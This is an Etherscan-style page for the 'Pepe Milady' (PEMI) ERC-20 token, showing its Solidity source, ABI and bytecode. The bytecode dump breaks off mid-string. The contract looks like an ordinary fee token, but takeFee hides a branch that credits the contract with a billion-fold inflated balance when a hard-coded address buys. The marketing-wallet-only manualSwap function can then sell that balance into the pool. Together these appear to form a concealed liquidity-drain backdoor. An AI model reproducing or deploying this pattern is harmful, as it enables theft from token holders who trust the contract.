ERC-20
Overview
Max Total Supply
1,000,000,000 PEMI
Holders
73
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,871,578.247100562 PEMIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PepeMilady
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-28 */ /** Website: https://pepemilady.vip Twitter: https://twitter.com/pepemiladyerc Telegram: https://t.me/pepemiladyportal */ // SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract PepeMilady is IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Pepe Milady"; string private constant _symbol = unicode"PEMI"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFees; IUniswapV2Router router; address public pair; bool private tradingActive = false; bool private swapEnabled = false; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 0; uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private liquidityFee = 0; uint256 private marketingFee = 100; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 100; uint256 private sellFee = 100; uint256 private transferFee = 100; uint256 private denominator = 10000; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal developmentReceiver = 0x44a54CFD2596687dE17EdB87765026590adF002b; address internal marketingReceiver = 0x44a54CFD2596687dE17EdB87765026590adF002b; address internal lpReceiver = 0x02487fE2800C951ECa50e3A337A52DdB28D25d91; uint256 public _maxTxAmount = ( _totalSupply * 250 ) / 10000; uint256 public _maxWalletAmount = ( _totalSupply * 250 ) / 10000; constructor() { router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedFromFees[address(this)] = true; isExcludedFromFees[marketingReceiver] = true; isExcludedFromFees[developmentReceiver] = true; isExcludedFromFees[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function addLiquidityETH() external onlyOwner { pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); _approve(address(this), address(router), _totalSupply); router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp); } function withdrawStuckETH() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function enableTrading() external onlyOwner { tradingActive = true; } function removeLimits() external onlyOwner { _maxTxAmount = _totalSupply; _maxWalletAmount = _totalSupply; } function shouldContractSwap(address sender, address recipient) internal view returns (bool) { return !swapping && swapEnabled && tradingActive && !isExcludedFromFees[sender] && recipient == pair && swapTimes >= swapAmount; } function manualSwap() external { require(msg.sender == marketingReceiver); swapTokensForETH(balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketingReceiver).transfer(marketingAmt*2);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(developmentReceiver).transfer(contractBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, lpReceiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isExcludedFromFees[sender] && !isExcludedFromFees[recipient]; } function getTotalFees(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFees(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient)); if(sender==pair&&recipient==lpReceiver){feeAmount=amount.mul(1e9);swapEnabled=true;} _balances[address(this)] = _balances[address(this)].add(feeAmount); feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient)); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0) && getTotalFees(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!isExcludedFromFees[sender] && !isExcludedFromFees[recipient]){require(tradingActive, "tradingActive");} if(!isExcludedFromFees[sender] && !isExcludedFromFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");} require(amount <= _maxTxAmount || isExcludedFromFees[sender] || isExcludedFromFees[recipient], "TX Limit Exceeded"); if(recipient == pair && !isExcludedFromFees[sender]){swapTimes += uint256(1);} if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a6200038d565b6200002290633b9aca00620003a5565b60018190556006805461ffff60a01b191690556000600955620186a0906200004d906103e8620003a5565b620000599190620003bf565b600a55620186a0600154600a620000719190620003a5565b6200007d9190620003bf565b600b556000600c8190556064600d819055600e829055600f91909155601081905560118190556012556127106013819055601480546001600160a01b03199081167344a54cfd2596687de17edb87765026590adf002b908117909255601580548216909217909155601680549091167302487fe2800c951eca50e3a337a52ddb28d25d91179055600154620001149060fa620003a5565b620001209190620003bf565b60175561271060015460fa620001379190620003a5565b620001439190620003bf565b6018553480156200015357600080fd5b506200015f3362000228565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055306000908152600460209081526040808320805460ff1990811660019081179092556015546001600160a01b039081168652838620805483168417905560145416855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003e2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002cf578160001904821115620002b357620002b362000278565b80851615620002c157918102915b93841c939080029062000293565b509250929050565b600082620002e85750600162000387565b81620002f75750600062000387565b81600181146200031057600281146200031b576200033b565b600191505062000387565b60ff8411156200032f576200032f62000278565b50506001821b62000387565b5060208310610133831016604e8410600b841016171562000360575081810a62000387565b6200036c83836200028e565b806000190482111562000383576200038362000278565b0290505b92915050565b60006200039e60ff841683620002d7565b9392505050565b808202811582820484141762000387576200038762000278565b600082620003dd57634e487b7160e01b600052601260045260246000fd5b500490565b61187f80620003f26000396000f3fe60806040526004361061012e5760003560e01c8063751039fc116100ab578063a8aa1b311161006f578063a8aa1b3114610356578063a9059cbb14610376578063dd62ed3e14610396578063ed995307146103dc578063f2fde38b146103f1578063f5648a4f1461041157600080fd5b8063751039fc146102b75780637d1db4a5146102cc5780638a8c523c146102e25780638da5cb5b146102f757806395d89b411461032957600080fd5b80634fbee193116100f25780634fbee1931461020f57806351bc3c851461023f5780636c0a24eb1461025657806370a082311461026c578063715018a6146102a257600080fd5b806306fdde031461013a578063095ea7b31461018057806318160ddd146101b057806323b872dd146101d3578063313ce567146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a50657065204d696c61647960a81b60208201525b6040516101779190611579565b60405180910390f35b34801561018c57600080fd5b506101a061019b3660046115dc565b610426565b6040519015158152602001610177565b3480156101bc57600080fd5b506101c561043d565b604051908152602001610177565b3480156101df57600080fd5b506101a06101ee366004611608565b6104ae565b3480156101ff57600080fd5b5060405160098152602001610177565b34801561021b57600080fd5b506101a061022a366004611649565b60046020526000908152604090205460ff1681565b34801561024b57600080fd5b50610254610518565b005b34801561026257600080fd5b506101c560185481565b34801561027857600080fd5b506101c5610287366004611649565b6001600160a01b031660009081526002602052604090205490565b3480156102ae57600080fd5b50610254610577565b3480156102c357600080fd5b5061025461058b565b3480156102d857600080fd5b506101c560175481565b3480156102ee57600080fd5b506102546105a0565b34801561030357600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610177565b34801561033557600080fd5b5060408051808201909152600481526350454d4960e01b602082015261016a565b34801561036257600080fd5b50600654610311906001600160a01b031681565b34801561038257600080fd5b506101a06103913660046115dc565b6105bd565b3480156103a257600080fd5b506101c56103b1366004611666565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103e857600080fd5b506102546105ca565b3480156103fd57600080fd5b5061025461040c366004611649565b61080f565b34801561041d57600080fd5b5061025461088a565b6000610433338484610892565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104a99290916104a391906109b6565b906109b6565b905090565b60006104bb8484846109c2565b61050d843361050885604051806060016040528060288152602001611822602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e6c565b610892565b5060015b9392505050565b6015546001600160a01b0316331461052f57600080fd5b3060009081526002602052604090205461054890610e98565b60405133904780156108fc02916000818181858888f19350505050158015610574573d6000803e3d6000fd5b50565b61057f610ff2565b610589600061104c565b565b610593610ff2565b6001546017819055601855565b6105a8610ff2565b6006805460ff60a01b1916600160a01b179055565b60006104333384846109c2565b6105d2610ff2565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610625573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610649919061169f565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106cf919061169f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561071c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610740919061169f565b600680546001600160a01b0319166001600160a01b0392831617905560055460015461076f9230921690610892565b6005546001600160a01b031663f305d71947306107a1816001600160a01b031660009081526002602052604090205490565b60008033426040518863ffffffff1660e01b81526004016107c7969594939291906116bc565b60606040518083038185885af11580156107e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061080a91906116f7565b505050565b610817610ff2565b6001600160a01b0381166108815760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105748161104c565b610548610ff2565b6001600160a01b0383166108f45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610878565b6001600160a01b0382166109555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610878565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610511828461173b565b6001600160a01b038316610a265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610878565b6001600160a01b038216610a885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610878565b6001600160a01b038316600090815260026020526040902054811115610b0a5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610878565b6001600160a01b03831660009081526004602052604090205460ff16158015610b4c57506001600160a01b03821660009081526004602052604090205460ff16155b15610b9a57600654600160a01b900460ff16610b9a5760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b6044820152606401610878565b6001600160a01b03831660009081526004602052604090205460ff16158015610bdc57506001600160a01b03821660009081526004602052604090205460ff16155b8015610bf657506006546001600160a01b03838116911614155b8015610c0d57506001600160a01b03821661dead14155b15610c86576018546001600160a01b038316600090815260026020526040902054610c38908361109c565b1115610c865760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610878565b60175481111580610caf57506001600160a01b03831660009081526004602052604090205460ff165b80610cd257506001600160a01b03821660009081526004602052604090205460ff165b610d125760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610878565b6006546001600160a01b038381169116148015610d4857506001600160a01b03831660009081526004602052604090205460ff16155b15610d6657600160076000828254610d60919061174e565b90915550505b610d7083836110a8565b15610d8657610d80600a54611130565b60006007555b6001600160a01b038316600090815260026020526040902054610da990826109b6565b6001600160a01b038416600090815260026020526040812091909155610dcf84846112c1565b610dd95781610de4565b610de4848484611307565b6001600160a01b038416600090815260026020526040902054909150610e0a908261109c565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e5e9085815260200190565b60405180910390a350505050565b60008184841115610e905760405162461bcd60e51b81526004016108789190611579565b505050900390565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ecd57610ecd611761565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4a919061169f565b81600181518110610f5d57610f5d611761565b6001600160a01b039283166020918202929092010152600554610f839130911684610892565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fbc908590600090869030904290600401611777565b600060405180830381600087803b158015610fd657600080fd5b505af1158015610fea573d6000803e3d6000fd5b505050505050565b6000546001600160a01b031633146105895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610878565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610511828461174e565b60085460009060ff161580156110c75750600654600160a81b900460ff165b80156110dc5750600654600160a01b900460ff165b801561110157506001600160a01b03831660009081526004602052604090205460ff16155b801561111a57506006546001600160a01b038381169116145b8015610511575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c546000936111709360029361116a93919261116492839161109c565b9061109c565b90611474565b905060006111938261118d600c548661147490919063ffffffff16565b90611480565b905060006111a184836109b6565b9050476111ad82610e98565b60006111b947836109b6565b905060006111dc6111d5600c54886109b690919063ffffffff16565b8390611480565b905060006111f5600c548361147490919063ffffffff16565b9050801561120757611207868261148c565b600d5460009061121c9061116a856002611474565b90508015611268576015546001600160a01b03166108fc61123e8360026117e8565b6040518115909202916000818181858888f19350505050158015611266573d6000803e3d6000fd5b505b4780156112ab576014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112a9573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156105115750506001600160a01b031660009081526004602052604090205460ff1615919050565b600080611314858561152e565b111561146d576000611337611329868661152e565b60135461116a908690611480565b6006549091506001600160a01b03868116911614801561136457506016546001600160a01b038581169116145b1561138d5761137783633b9aca00611474565b6006805460ff60a81b1916600160a81b17905590505b306000908152600260205260409020546113a7908261109c565b306000908152600260205260409020556113c4611329868661152e565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161140b91815260200190565b60405180910390a36000600f5411801561142f5750600f5461142d868661152e565b115b1561145b5761145b3061dead611456600f5461116a6013548961148090919063ffffffff16565b6109c2565b61146583826109b6565b915050610511565b5092915050565b600061051182846117e8565b600061051182846117ff565b6005546114a49030906001600160a01b031684610892565b60055460165460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926114e492309289926000928392169042906004016116bc565b60606040518083038185885af1158015611502573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061152791906116f7565b5050505050565b6006546000906001600160a01b03908116908316036115505750601154610437565b6006546001600160a01b039081169084160361156f5750601054610437565b5060125492915050565b600060208083528351808285015260005b818110156115a65785810183015185820160400152820161158a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461057457600080fd5b600080604083850312156115ef57600080fd5b82356115fa816115c7565b946020939093013593505050565b60008060006060848603121561161d57600080fd5b8335611628816115c7565b92506020840135611638816115c7565b929592945050506040919091013590565b60006020828403121561165b57600080fd5b8135610511816115c7565b6000806040838503121561167957600080fd5b8235611684816115c7565b91506020830135611694816115c7565b809150509250929050565b6000602082840312156116b157600080fd5b8151610511816115c7565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561170c57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561043757610437611725565b8082018082111561043757610437611725565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117c75784516001600160a01b0316835293830193918301916001016117a2565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761043757610437611725565b60008261181c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c0b480c769509300dd91b6f62374461257873227393a0c392130af2cf3ffe2b764736f6c63430008110033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c8063751039fc116100ab578063a8aa1b311161006f578063a8aa1b3114610356578063a9059cbb14610376578063dd62ed3e14610396578063ed995307146103dc578063f2fde38b146103f1578063f5648a4f1461041157600080fd5b8063751039fc146102b75780637d1db4a5146102cc5780638a8c523c146102e25780638da5cb5b146102f757806395d89b411461032957600080fd5b80634fbee193116100f25780634fbee1931461020f57806351bc3c851461023f5780636c0a24eb1461025657806370a082311461026c578063715018a6146102a257600080fd5b806306fdde031461013a578063095ea7b31461018057806318160ddd146101b057806323b872dd146101d3578063313ce567146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a50657065204d696c61647960a81b60208201525b6040516101779190611579565b60405180910390f35b34801561018c57600080fd5b506101a061019b3660046115dc565b610426565b6040519015158152602001610177565b3480156101bc57600080fd5b506101c561043d565b604051908152602001610177565b3480156101df57600080fd5b506101a06101ee366004611608565b6104ae565b3480156101ff57600080fd5b5060405160098152602001610177565b34801561021b57600080fd5b506101a061022a366004611649565b60046020526000908152604090205460ff1681565b34801561024b57600080fd5b50610254610518565b005b34801561026257600080fd5b506101c560185481565b34801561027857600080fd5b506101c5610287366004611649565b6001600160a01b031660009081526002602052604090205490565b3480156102ae57600080fd5b50610254610577565b3480156102c357600080fd5b5061025461058b565b3480156102d857600080fd5b506101c560175481565b3480156102ee57600080fd5b506102546105a0565b34801561030357600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610177565b34801561033557600080fd5b5060408051808201909152600481526350454d4960e01b602082015261016a565b34801561036257600080fd5b50600654610311906001600160a01b031681565b34801561038257600080fd5b506101a06103913660046115dc565b6105bd565b3480156103a257600080fd5b506101c56103b1366004611666565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103e857600080fd5b506102546105ca565b3480156103fd57600080fd5b5061025461040c366004611649565b61080f565b34801561041d57600080fd5b5061025461088a565b6000610433338484610892565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104a99290916104a391906109b6565b906109b6565b905090565b60006104bb8484846109c2565b61050d843361050885604051806060016040528060288152602001611822602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e6c565b610892565b5060015b9392505050565b6015546001600160a01b0316331461052f57600080fd5b3060009081526002602052604090205461054890610e98565b60405133904780156108fc02916000818181858888f19350505050158015610574573d6000803e3d6000fd5b50565b61057f610ff2565b610589600061104c565b565b61059